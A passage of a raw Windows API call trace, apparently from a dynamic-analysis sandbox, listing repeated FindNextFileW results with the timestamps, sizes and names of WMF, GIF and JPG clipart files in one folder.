ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0069.064] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0069.065] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 